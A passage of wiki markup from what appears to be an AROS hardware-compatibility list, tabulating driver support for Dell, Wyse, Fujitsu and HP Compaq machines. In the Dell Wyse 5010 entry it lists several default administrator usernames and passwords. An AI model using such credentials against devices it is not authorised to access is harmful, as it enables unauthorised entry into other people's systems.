| &lt;!--Audio--&gt; {{partial|Intel AC97 (no line-out)}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Broadcom}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 745
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel GMA (VESA only)}}
| &lt;!--Audio--&gt; {{partial|HD Audio (no volume control)}}
| &lt;!--USB--&gt; {{partial|Only keyboard mouse (legacy mode)}}
| &lt;!--Ethernet--&gt; {{no|Broadcom}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 755
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel GMA (VESA only)}}
| &lt;!--Audio--&gt; {{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel Gigabit}}
| &lt;!--Test Distro--&gt; Icaros 1.5.1
| &lt;!--Comments--&gt; Around 25 second delay in booting from USB 
|-
| &lt;!--Name--&gt; Optiplex 990
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|non-RAID mode}}
| &lt;!--Gfx--&gt; {{partial|Intel HD (VESA only)}}
| &lt;!--Audio--&gt;{{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel Gigabit}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Optiplex 360
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|ordinary boot gives VGA mode only - VESA}}
| &lt;!--Audio--&gt;{{no|HD Audio (Analog Devices ID 194a)}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Broadcom}}
| &lt;!--Test Distro--&gt;Aspire Xenon 
| &lt;!--Comments--&gt;poor support 
|-
| &lt;!--Name--&gt;Dell Wyse Vx0 (V90 V30), Vx0L (V10L V90L), Vx0LE (V30LE V90LE) from VIA C7 800GHz to Eden 1.2GHz 
| &lt;!--IDE--&gt;{{Maybe| }}
| &lt;!--SATA--&gt;{{N/A| }}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for S3 UniChrome Pro}}
| &lt;!--Audio--&gt;{{No|AC97 VIA VT8233A with ?? codec}}
| &lt;!--USB--&gt;{{yes|2 back and 1 front USB2}}
| &lt;!--Ethernet--&gt;{{Maybe|early models work but later VT6102-3 do not}}
| &lt;!--Test Distro--&gt;AROS One 2.2  
| &lt;!--Comments--&gt;2006 to 2009 32bit - 12V 4A Coax 5.5mm/2.1mm - 1 sodimm DDR 333MHz SO-DIMM later DDR2 - early V90s do seem to have a reliability problem - 
|-
| &lt;!--Name--&gt;[https://www.poppedinmyhead.com/2021/01/wyse-cx0-thin-client-notes-experiences.html Dell Wyse Cx0] C00LE, C10LE, C30LE, C50LE, C90LE, C90LE7, C90LEW VIA C7 Eden 1GHz 
| &lt;!--IDE--&gt;{{Maybe| }}
| &lt;!--SATA--&gt;{{N/A| }}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d VX855 VX875 Chrome 9}}
| &lt;!--Audio--&gt;{{Maybe|some VIA VT8237A VT8251 HDA with ?? codec work}}
| &lt;!--USB--&gt;{{yes|4 outside 2 inside USB2}}
| &lt;!--Ethernet--&gt;{{No|VT6120 VT6121 VT6122 Gigabit}}
| &lt;!--Test Distro--&gt;Icaros 2.3 
| &lt;!--Comments--&gt;2010 to 2013 32bit - [https://ae.amigalife.org/index.php?topic=815.0 boots and works] - 12V 2.5A Coax 5.5mm/2.1mm - 1 sodimm ddr2 - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Dell RxxL Rx0L Wyse thin client 
*R00L	Cloud PC of Wyse WSM 
*R10L	Wyse Thin OS 
*R50L	Suse Linux Enterprise 
*R90L	Win XP Embedded 
*R90LW  Win Embedded Standard 2009 
*R90L7  Win Embedded Standard 7 
| &lt;!--IDE--&gt;128Mb IDE or 1GB 
| &lt;!--SATA--&gt;{{Maybe|SATA Hyperdisk}}
| &lt;!--Gfx--&gt;AMD 690E RS690M Radeon Xpress 1200 1250 1270
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 usb2 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 64bit AMD Sempron™ 210U SMG210UOAX3DVE 1.5GHz SB600, up to 4GB single slot 240-pin DDR2 DIMM, 19v barrel psu, DEL key bios - Late 2012 2 data sockets added but only CN18 be used with two white sockets (CN13 &amp; CN15) can used to power the SATA device &quot;4-pin Micro JST 1.25mm 
|-
| &lt;!--Name--&gt;Optiplex 390 sff small form factor - mt mini tower desktop - dt full desktop
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{maybe|realtek}}
| &lt;!--Test Distro--&gt;aros one 1.6 usb 
| &lt;!--Comments--&gt;2011 64bit dual i3 2xxx - kettle iec plug psu cable - add nvidia gf218 gfx - error code 3 mobo or cpu - 
|-
| &lt;!--Name--&gt;Optiplex 3010 sff small form factor 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|Broadcom 57XX}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit dual i3 3xxx - kettle iec plug psu cable - 
|-
| &lt;!--Name--&gt;Optiplex 7010 sff small form factor 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Broadcom or Intel 825xx}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit dual i3 3xxx Q77 - kettle iec plug psu cable - add pci-e ethernet and nvidia gf218 gfx - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Dell Wyse 5010 thin client ThinOS D class (D10D D00D D00DX, Dx0D), PCoIP (D10DP) or D90D7, 5040 
*username: Administrator, admin, [blank] 
*password: Fireport, DellCCCvdi, rappot, Wyse#123, Administrator, administrator, r@p8p0r+
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE mode may need 30cm ext cable as small area for half-slim sata ssd - decased new ssd??}}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d 1400x1050 HD6250E IGP by using DVI to hdmi cable and 1 display port, no hdmi port}}
| &lt;!--Audio--&gt;{{Maybe|HD 6.34 audio chipset detected but codec alc269 working from one case speaker -  none if v6.29 used}}
| &lt;!--USB--&gt;{{Yes|most 5010 have 4 USB 2.0 but D90Q7 has 2 USB3 instead}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek 8168 8169 - rev 1.?? 8111? - rev 1.91 8111E}}
| &lt;!--Test Distro--&gt;Icaros 2.3
| &lt;!--Comments--&gt;2011 64bit no SSE4.1 or AVX slow AMD G-T44R 1.2Ghz later G-T48E 1.4Ghz Dual Bobcat Brazos BGA413 - Del for BIOS - p key to select boot with noacpi - single DDR3 sodimm slot max 4Gb, (8Gb hynix 2rx8 ddr3l)? (remove small board to upgrade) - passive no fan - 15cm/6&quot; small 1ltr case and lack of expansion options - PA16 19v barrel psu Coax 5.5mm/2.5mm 
|-
| &lt;!--Name--&gt;Dell Wyse 7010 DTS thin client (Z class Zx0D) 
*2011 Zx0 Z90D7 2GF/2GR
*2013 Z10D 
*2014 Z50D 2GF/2GR 
*2012 Cisco VXC 6000 CVXC-6215-K9 white 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|Bios set Sata mode to IDE mode and grub boot add 'noacpi' for half slim sata2 ssd or/with 50cm sata ext cable}}
| &lt;!--Gfx--&gt;{{Maybe|VESA 2d HD6310 HD6320 Terascale 2 through DVI and sometimes DP 1.1a - no hdmi port}}
| &lt;!--Audio--&gt;{{Maybe|HD Audio 6.34 detected but ALC269VB codec works on the one case speaker only}}
| &lt;!--USB--&gt;{{Yes|2.0 works but NEC 720200 3.0 not working}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek 8169 8111e 8111F}}
| &lt;!--Test Distro--&gt;Icaros 2.3 and Aros One 32bit 1.5, 1.9 and 2.3 usb and 64bit 1.2 
| &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 slow AMD G-t52R 1.5GHz later G-T56N 1.65 GHz Dual with A50M FCH - 20cm/8&quot; high 1.5ltr larger fanless black plastic case with metal ventilated box inside - 2 desktop DDR3L DIMM slots max 16GB - PA-16 19v external psu Coax 5.5mm/2.5mm - 2 40cm SMA female WiFi Antenna to IPEX IPX u.fl Ufl Cable pigtail needed - does not like uefi boot devices - 
|-
| &lt;!--Name--&gt;Wyse 7020 Thin Client 
* 2013 Quad-core AMD GX-420CA 2.0 GHz (25W) - 
* 2018 Zx0Q Quad-core AMD GX-415GA 1.5 GHz (15W) with Quad display 3dp and 1dvi 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 sata port 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d only for AMD Radeon HD8400E radeonsi (dual display) or AMD Radeon HD 8330E IGP with AMD Radeon E6240 Seymour E6460 (quad display), no hdmi ports}}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 x USB2.0 works but 2 USB3.0
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit does support AVX or SSE 4.1 quad eKabini Jaguar cores - two SODIMM sockets layered in centre of mobo DDR3L RAM - Coax 5.5mm/2.5mm ac psu 9mm plug is too short but 14mm length is fine - 15cm/6&quot; high smaller 1ltr case and lack of expansion options - 
|-
| &lt;!--Name--&gt;Dell Wyse Dx0Q (5020) D90Q8 NJXG4 AMD G-Series 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 sata port 
| &lt;!--Gfx--&gt;HD 8330E 
| &lt;!--Audio--&gt; with Realtek codec 
| &lt;!--USB--&gt;4 x USB2.0 works but 2 USB3.0 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit does support AVX or SSE 4.1 Quad-core AMD GX-415GA 1.5 GHz - 2 layered near edge of mobo 204-pin DDR3L SODIMM (bottom one tricky to insert) - 19v Coax 5.5mm/2.5mm - passive no fan - 15cm/6&quot; high smaller 1ltr case and lack of expansion options 
|-
| &lt;!--Name--&gt;Dell Wyse 5060 N07D thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE bios mode for sata2 port}}
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d - AMD R5E GCN2 IGP Sea Islands thru dp1 with an hdmi adapter no output thru dp2 - no hdmi dvi ports}} 
| &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC231 codec head phones only}}
| &lt;!--USB--&gt;{{Maybe|4 x USB2.0 works but 2 USB3.0}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 realtek 8169 8111h}}
| &lt;!--Test Distro--&gt;AROS One 1.6 usb 
| &lt;!--Comments--&gt;2017 64bit does support AVX or SSE 4.1 quad GX-424CC 19.5v external psu - CN-0Y62H1 mobo with 2 layered ddr3l 16Gb max sodimm slots at edge of mobo, bottom 0 one blocking - passive no fan so quiet - 15cm/6&quot; high smaller 1ltr case and lack of expansion options - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


====Fujitsu Siemens====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;15%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Scenic [http://uk.ts.fujitsu.com/rl/servicesupport/techsupport/ProfessionalPC/Scenic/ScenicE/ScenicE.htm E600] (compact desktop)
| 
| 
| {{partial|VESA only}}
| {{yes|AC97}}
| 
| {{no|Intel PRO/1000}}
| {{dunno}}
| Nice small, silent PC with good AROS support.
|-
| Scenic T i845
| {{dunno}}
| {{n/a}}
| {{n/a}}
| {{dunno|Intel AC97}}
| {{dunno|UHCI}}
| {{dunno|Intel PRO/100}}
| Icaros 1.5.2
| AROS does not boot 
|-
| &lt;!--Name--&gt;Futro S200 S210 S220 and later S300 
| &lt;!--IDE--&gt;{{yes| compactflash CF card max ??}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA Silicon Integrated Systems [SiS] 315PRO PCI/AGP }}
| &lt;!--Audio--&gt;{{unk|AC97 via }}
| &lt;!--USB--&gt;{{unk|via uhci and ehci}}
| &lt;!--Ethernet--&gt;{{unk|via VT6102 [Rhine-II] (rev 74) }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - TR5670 Rev 1.4 mother with Transmeta TM5800 cpu - pci socket - single SODIMM socket for DDR memory PC2700S max 512MB - 
|-
| &lt;!--Name--&gt;Futro S400
| &lt;!--IDE--&gt;{{yes| but swap with compactflash CF card already with AROS installed}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA Silicon Integrated Systems [SiS] SiS741CX }}
| &lt;!--Audio--&gt;{{unk|AC97 SiS7018}}
| &lt;!--USB--&gt;{{unk|sis uhci and ehci}}
| &lt;!--Ethernet--&gt;{{unk|rtl8169 }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - AMD Geode NX1500 1GHz gets hot - SiS 963L / SiS 741CX chipset - 12V 4.2A 4-pin (DP-003-R) psu - single SODIMM socket for DDR PC2700S max 1G - large case 246 x 48 x 177cms torx screws - pci socket - 
|-
| &lt;!--Name--&gt;FUJITSU Futro S700 and S900 Thin Client (based on mini-ITX motherboard D3003-A12, D3003-C1 lesser variant of [https://www.parkytowers.me.uk/thin/Futro/s900/TechNotes_V3.1_Mini-ITX_D3003-S.pdf D3003-S]) 
*G-T56N 1.65GHz
*G-T40N 1.00GHz
*G-T44R 1.20GHz 
| &lt;!--IDE--&gt;{{N/A}} 
| &lt;!--SATA--&gt;1 sata data socket but mSata 18+8pins 1GB-16GB 
| &lt;!--Gfx--&gt;Radeon HD 6320, HD 6250, HD 6290 dvi or displayport (DP runs higher) 
| &lt;!--Audio--&gt;HDAudio
| &lt;!--USB--&gt;{{yes|two USB2 front sockets and four on the rear}}
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit AMD slow atom-like and fanless - 20V 2A psu 5.5mm/2.1mm coax (S900) - 2 DDR3L SODIMM sockets max 8GB tricky to run 1333 MHz on the Futro S900 - proprietary X2 PCI-e - 1 PCI socket but need a right-angle adaptor - 
|-
| &lt;!--Name--&gt;esprimo p420 e85 desktop case 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|IDE mode}}
| &lt;!--Gfx--&gt;Intel 4600 or old Geforce in pci-e slot 
| &lt;!--Audio--&gt;HDAudio realtek alc671 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit - 2 ddr3 dimm slots - 16 pin special psu - 
|-
| &lt;!--Name--&gt;esprimo E420 e85+ SFF case 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|IDE mode}}
| &lt;!--Gfx--&gt;Intel 4600 or low profile pci-e card 
| &lt;!--Audio--&gt;HDAudio realtek alc671 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111G 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit - 2 ddr3 dimm slots - 16ish pin special psu - hd under front metal bracket, take front cover off first with 3 tabs - 3 slim pci-e slots - 
|-
| &lt;!--Name--&gt;Futro S520 AMD dual 1.0Ghz codenamed &quot;Steppe Eagle&quot;
* GX-210HA @ 1.0GHz
* GX-212ZC @ 1.2GHz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;no sata - 4Gb or 16Gb flash memory soldered to the board
| &lt;!--Gfx--&gt;AMD Radeon HD 8210E (GX210HA) or AMD Radeon R1E (GX212ZC)
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111e 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 - smaller than ITX 160mm x 160mm Fujitsu D3314-A11 - 19V 3.4A PSU standard 5.5mm/2.1mm coax plug - 1 ddr3 sodimm slot - 
|-
| &lt;!--Name--&gt;Fujitsu Futro S720 ThinClient D3313-B13 D3313-F
*2014 64bit AMD GX-217GA 1.65GHz VFY:S0720P8009FR VFY:S0720P8008DE VFY:S0720P4009GB
*2015 64bit AMD GX-222GC 2.20GHz VFY:S0720P702BDE VFY:S0720P702BFR 
 all begin VFY:S0720P and end two digit country code
| &lt;!--IDE--&gt; {{N/A|}}
| &lt;!--SATA--&gt; {{Yes|up to 2 Sata-cable-connector with space in casing so normal SSD/HDD over Sata was running very well on AHCI and IDE-Mode and 2242 mSata}}
| &lt;!--Gfx--&gt; {{Maybe|use VESA 2D for AMD Radeon HD 8280E IGP ( islands) or later R5E IGP ( islands)}} 
| &lt;!--Audio--&gt; {{yes|HDAudio ALC671 codec partially working, external audio speaker}}
| &lt;!--USB--&gt; {{yes|4 rear USB 2.0 but not front 2 USB 3.1}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8169}}
| &lt;!--Test Distro--&gt;AROS One USB 2.0
| &lt;!--Comments--&gt;2014 64bit supports AVX and SSE 4.1 - 1 ddr3 Sodimm slot max 8Gb - 19V-20V 2A 5.5mm/2.5mm coax - D3313-B13 stripped down Mini-ITX mobo D3313-S1/-S2/-S3 (eKabini) D3313-S4/-S5/-S6 - SATA data socket can be located under the fins of the cpu heatsink is fanless - mPCIe socket for wireless card - 
|-
| &lt;!--Name--&gt;Fujitsu FUTRO S920 D3313-E	D3313-G
*2016 AMD GX-222GC SOC 2.20GHz Dual 
*2017 AMD G-Series GX-415GA (1.50 GHz, Quad Core, 2 MB, AMD Radeon™ HD 8330E) 
*2017 AMD G-Series GX-424CC 2.40 GHz Quad
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{yes|2242 mSata and 1 Sata-cable-connector with space in casing so normal SSD/HDD over Sata possible}}
| &lt;!--Gfx--&gt; {{yes|use VESA 2D for Radeon R5E GCN2/3 IGP}}
| &lt;!--Audio--&gt; {{yes|HDAudio ALC671 codec partially working}}
| &lt;!--USB--&gt; {{yes|4 rear USB 2.0, front 2 USB 3.1 downgradable to 2.0 in BIOS setting}}
| &lt;!--Ethernet--&gt; {{yes|rtl8169 Realtek 8169}}
| &lt;!--Test Distro--&gt; AROS One USB 2.4
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 - 2 so dimm slot with max of 8 GB - 19v barrel psu 5.5mm 2.5mm - SATA data socket can be located under the fins of the heatsink - mPCIe a e keyed socket for wireless card - propetary X2 connector with official raizer to X1 connector - almost silent background noise, not affecting sound quality in any way 
|-
| &lt;!--Name--&gt;Fujitsu Thin Client Futro S5011 S7011 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3 on 2 dp 1.4}}
| &lt;!--Audio--&gt;{{No|HDAudio with ALC623 codec}}
| &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear  }}
| &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - AMD Ryzen Dual Core R1305G or R1505G 1ltr case - 2 ddr4 sodimm slots - TPM 2.0 - 19v 3.42amp round coax or usb-c 20c 3.25a external psu - 
|-
| &lt;!--Name--&gt;Fujitsu FUTRO S9011 Thin Client VFY:S9011THU1EIN || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3 on 2 dp 1.4}} || &lt;!--Audio--&gt;{{No|HDAudio with ALC623 codec}} || &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear }} || &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit Ryzen Embedded R1606G - 2 ddr4 sodimm slots - TPM 2.0 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}

====HP Compaq====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Compaq presario 7360
| &lt;!--IDE--&gt;{{yes|Working}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Maybe|VESA}}
| &lt;!--Audio--&gt;{{Maybe|AC97 via}}
| &lt;!--USB--&gt;{{Maybe|issues}}
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq EP Series 6400/10
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{N/A}}
| &lt;!--Audio--&gt; {{no|ISA}}
| &lt;!--USB--&gt; {{yes|USB 1.1}}
| &lt;!--Ethernet--&gt; {{N/A}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq Evo D510
| {{yes|Working}}
| {{N/A}}
| {{partial|Intel Extreme (VESA only)}}
| {{yes|AC97}}
| {{yes|Working}}
| {{yes|Intel PRO/100}}
| Icaros 1.5
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq DX2000 MT
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{maybe|Intel Extreme 2 (VESA only)}} 
| &lt;!--Audio--&gt;{{no|detects AC97 but no support for ADI AD1888 codec}}
| &lt;!--USB--&gt;{{yes|OHCI/EHCI }}
| &lt;!--Ethernet--&gt;{{no|Intel 82526EZ e1000}}
| &lt;!--Test Distro--&gt; Icaros 1.51
| &lt;!--Comments--&gt;boots ok but no audio 
|-
| &lt;!--Name--&gt;Compaq DX 2200
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{maybe|RC410 [Radeon Xpress 200] (VESA only)}} 
| &lt;!--Audio--&gt;{{dunno|HD Audio}}
| &lt;!--USB--&gt;{{maybe|OHCI/EHCI issues }}
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;issues 
|-
| &lt;!--Name--&gt; d230
| &lt;!--IDE--&gt; {{yes|UDMA}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{partial|Intel AC97 (speaker and headphones only, no line-out)}}
| &lt;!--USB--&gt; {{yes|USB}}
| &lt;!--Ethernet--&gt; {{Maybe|Broadcom BCM4401}}
| &lt;!--Test Distro--&gt; Icaros 1.4.5
| &lt;!--Comments--&gt;
|-
